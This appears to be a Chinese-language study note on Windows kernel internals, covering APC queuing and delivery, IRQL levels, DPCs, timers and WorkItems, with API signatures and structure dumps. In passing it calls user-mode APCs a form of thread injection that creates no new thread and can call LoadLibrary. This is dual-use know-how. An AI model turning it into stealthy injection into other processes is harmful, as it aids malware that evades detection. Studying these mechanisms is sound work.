VOID KeInitializeApc(
[in] PKAPC Apc, //KAPC结构需要用堆申请空间
[in] PKTHREAD Thread, //需要挂载APC回调的线程
[in] KAPC_ENVIRONMENT TargetEnvironment, //环境
[in] PKKERNEL_ROUTINE KernelRoutine, //内核APC回调
[in] PKRUNDOWN_ROUTINE RundownRoutine, //可选回调
[in] PKNORMAL_ROUTINE NormalRoutine, //可选回调,不带这个参数叫紧急APC,带了叫普通APC
//紧急与否,关系到插入到队列的头还是尾
//(紧急排一队,普通排一队,紧急总体排在普通前)
[in] KPROCESSOR_MODE Mode, //用户态还是内核态
[in] PVOID Context //传递给回调函数的参数
);

//插入队列函数
BOOLEAN KeInsertQueueApc(
__inout PRKAPC Apc,
__in_opt PVOID SystemArgument1, //可填0
__in_opt PVOID SystemArgument2, //可填0
__in KPRIORITY Increment //可填0
);

//环境枚举体
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment, // 0 插入到生父进程环境的队列去
AttachedApcEnvironment, // 1 插入到养父进程环境的队列去
CurrentApcEnvironment, // 2 插入到当前进程环境的队列去
InsertApcEnvironment // 3 初始化不插入,当调用InsertApc函数,再插入
} KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;

//回调结构
typedef VOID (*PKKERNEL_ROUTINE)(
IN struct _KAPC *Apc,
IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID *NormalContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
);

KAPC结构需要我们自己去释放,系统不会管;

APC可以实现给一个线程注入一个函数让它执行一次;同时可以观测到,回调结构的参数是二级指针,这意味可以被篡改;

APC队列结构我们之前就见过: _KAPC_STATE:

1
2
3
4
5
6
7
kd> dt _KAPC_STATE
nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY //两个链表,0代表内核APC队列,1代表用户APC队列
+0x010 Process : Ptr32 _KPROCESS //指向挂靠进程
+0x014 KernelApcInProgress : UChar //是否有内核APC在执行
+0x015 KernelApcPending : UChar //是否有内核APC在队列中
+0x016 UserApcPending : UChar //是否有用户APC在队列中

这个 _KAPC_STATE里的链表串起来的结构就是 KAPC;

KAPC主要的字段就是那些注册字段,3个函数,参数,以及环境,APC模式;

线程 KTHREAD 中的字段:

+0x168 ApcStatePointer 是一个关于 _KAPC_STATE 结构的数组,有两项;

有一个是指向 +0x040 ApcState,这个就是线程关联的APC队列;

还有一个指向 +0x170 SavedApcState结构;

两个结构的关系是,一个是当前的APC队列,一个是备用的APC队列;它会在线程挂靠时,保存之前的APC队列;

那么多次轮调用 KeStackAttachProcess 多次挂靠时,再上一轮的APC队列就会被覆盖掉,所以 KeStackAttachProcess 有个参数也是专门保存挂靠前 APC 队列的;

其他线程相关的APC字段在线程 KTHREAD 调度体部分已给出解释;

IRQL机制

微软模拟去适配的一套硬件中断优先级机制;

IRQL是KPCR的一个字段,是核相关信息;

先说中断,中断一般给两个参数,一个就是中断优先级,一个是中断向量号(也就是GDT,LDT表的索引,本质就是改RIP,EIP到一个服务函数);

中断由LAPIC处理(硬件层面,和Windows无关),这个系统会轮询等待的中断并处理;中断会被放到队列中排着(优先级高的排前面),然后看当前核的IRQL,如果中断请求等级低于或等于当前IRQL,那么被屏蔽,核自然不会发生rip,eip的跳转;否则立即(IRQL等级低于当前中断等级)跳转对应中断服务;

驱动编程能看到的,能用到的也就3个等级,0,消极态等级;1,APC等级;2,DPC等级;在r3下,IRQL等级永远为0;

之前说过,APC会在某个时刻被调用,实际上,触发APC调用的函数就如下:

1
2
3
4
5
VOID NTAPI KiDeliverApc(
_In_ KPROCESSOR_MODE DeliveryMode, //APC模式,0为内核,1为用户
_In_ PKEXCEPTION_FRAME ExceptionFrame, //通常为0
_In_ PKTRAP_FRAME TrapFrame //指向trapFrame,当参数1为用户态时有效,内核态不需要
);

而这个函数和 KiSwapContext 很类似,也是通过主动或者中断请求进行调用;

(KiSwapContext 通过主动或者时钟中断进行调用,它的默认执行IRQL等级是2,2是最高等级,也是线程调度的等级;实际上时钟中断的IRQL等级远大于2,必定触发,而时钟中断服务会先判断时间片用完没,用完了就产生一个DPC函数,让DPC函数去进行KiSwapContext的调用,而DPC等级就是2)

缺页处理也是DPC等级2,DPC操作的内存需要在非分页池,否则会蓝屏;

而请求它 KiDeliverApc 之前,肯定都会先把 IRQL 等级设置为2,这是为了防止被其他DPC中断请求给打断(包括线程调度);

所以,在Windows中看到有关于 IRQL 的地方,一般都要留心是否当前函数或者调用函数和中断请求相关;

在KiDeliverApc内部,会获取当前线程结构,借而读取APC链表,先处理内核APC,再处理用户APC;

而内核APC中,会顺序调用两个APC回调,一个是kernelRoutine,下一个是normalRoutine,前者会在1等级IRQL执行,后者会在0等级IRQL执行,执行完恢复等级;当处理当前APC后,这个APC结构会被从链表中拆掉,意思是插入APC只执行一次;

用户态APC

首先要判断是否是UserMode,其次会判断CurrentThread->ApcState.UserApcPending是否为1,才会执行;

在用户态处理中,首先也会在1等级先执行kernelRoutine,然后就不一样了;

它会判断 normalRoutine 是否为空,如果为空,调用 KeTestAlertThread(UserMode)然后返回;不为空,则把如下参数都入栈:

1
2
3
4
5
6
ExceptionFrame
TrapFrame
SystemArgument1
SystemArgument2
NormalContext
NormalRoutine

然后调用 KiInitializeUserApc(用户态APC初始化),之后返回;

KiInitializeUserApc内部会先把trapFrame给r3结构 _CONTEXT 进行打包,并保存trapFrame;

然后修改 trapFrame 的上下文信息,其中最主要的操作:

  1. 让IP寄存器指向 ds:_KeUserApcDispatcher;
  2. 给r3的栈提升空间,按如下顺序排放内容:SP -> NormalRoutine -> NormalContext -> SystemArgument1 -> SystemArgument2 -> CONTEXT -> 空8字节(两个指针容量) -> 原来的SP

然后就返回了;

在系统调用返回的地方,实际上也会调用 KiDeliverApc,最后就会返回到r3的ntdll中的 _KiUserApcDispatcher 函数;

在 _KiUserApcDispatcher 中,会先让原本空8字节的地方放入一些内容,让r3的栈构成如下形态:

CONTEXT -> TEB异常链表 -> KiUserApcExceptionHandle -> 原来的SP (这步操作主要是挂SEH异常操作);

然后就执行 normalRoutine 了,最后通过 _ZwContinue 返回内核态,这个函数里面就会恢复原本保存的trapFrame;

所以 normalRoutine 还是 以IRQL0等级执行的;

而且用户态APC是可以在某个线程的用户态环境下执行,相当于一种线程注入(目标进程无新线程创建,相较于远程线程注入);

可以通过NormalRoutine去调用LoadLibrary;

但是传递给NormalRoutine位置的函数一定得是那个线程R3下可访问的地址,而不能是内核地址;

DPC

延迟过程调用,定时器也是一种DPC;

KDPC的结构,类似于KAPC,也需要通过堆保存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct _KDPC {
union {
ULONG TargetInfoAsUlong;
struct {
UCHAR Type;
UCHAR Importance; //这个标志会表示插入到头部还是尾部
volatile USHORT Number;
};
};
SINGLE_LIST_ENTRY DpcListEntry; //DPC的链表
KAFFINITY ProcessorHistory; //运行的核
PKDEFERRED_ROUTINE DeferredRoutine; //DPC回调
PVOID DeferredContext; //DPC回调参数
PVOID SystemArgument1; //参数1
PVOID SystemArgument2; //参数2
volatile PVOID DpcData; //额外DPC数据
} KDPC, *PKDPC, *RESTRICTED_POINTER PRKDPC;

使用也可以用API:

1
2
KeInitializeDpc(KDPC结构,DPC回调,DPC回调参数);  //初始化
KeInsertQueueDpc(KDPC结构,参数1,参数2); //插入队列

要延时,就需要设置定时器:

1
2
KeInitializeTimer(KTimer结构);
KeSetTimerEx(KTimer结构,起始延迟格式时间,间隔重复执行时间,KDPC结构);

DPC的调用时机就很固定,只在时钟中断里被调用;

DPC是核相关,和线程无关,所以栈用的是独立的DPC栈,不用线程栈;

针对性给某一个核设置DPC,而其他核不执行:

1
KeSetTargetProcessorDpc(KDPC结构,核序号);

让所有核都执行一遍DPC:

1
2
3
4
KeGenericCallDpc(DPC回调函数,DPC回调参数);
//并在DPC回调函数的最后执行下面两个函数
KeSignalCallDpcDone(参数1);
KeSignalCallDpcSynchronize(参数2);

WorkItem

相较于APC和DPC,WorkItem不依附于指定线程,没有核相关性,执行IRQL等级也是0等级;

它也是一种回调,只不过只依附于System进程中的一些线程;

这些线程可以简单地理解为一直等待 WorkItem 队列里有值,一有值就被唤醒去调用 WorkItem 回调;

相关API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//初始化函数
VOID ExInitializeWorkItem(
[in] PWORK_QUEUE_ITEM Item, //类似KAPC,KDPC结构
[in] PWORKER_THREAD_ROUTINE Routine, //workItem回调
[in] PVOID Context //参数
);
//插入队列函数
VOID ExQueueWorkItem(
[in, out] __drv_aliasesMem PWORK_QUEUE_ITEM WorkItem,
[in] WORK_QUEUE_TYPE QueueType //队列类型
);
//类型
typedef enum _WORK_QUEUE_TYPE {
CriticalWorkQueue, //插入就执行
DelayedWorkQueue, //延迟执行(通常使用)
HyperCriticalWorkQueue,
NormalWorkQueue, //正常队列
BackgroundWorkQueue, //后台队列
RealTimeWorkQueue,
SuperCriticalWorkQueue,
MaximumWorkQueue,
CustomPriorityWorkQueue
} WORK_QUEUE_TYPE;

在DPC回调里,不能使用延时函数如Sleep,但在WorkItem回调里面是可以用的;

且在WorkItem回调里面可以迭代执行插入操作,实现间隔执行的效果;

APC,DPC,WorkItem回调,最大的特点就是不会创建新线程;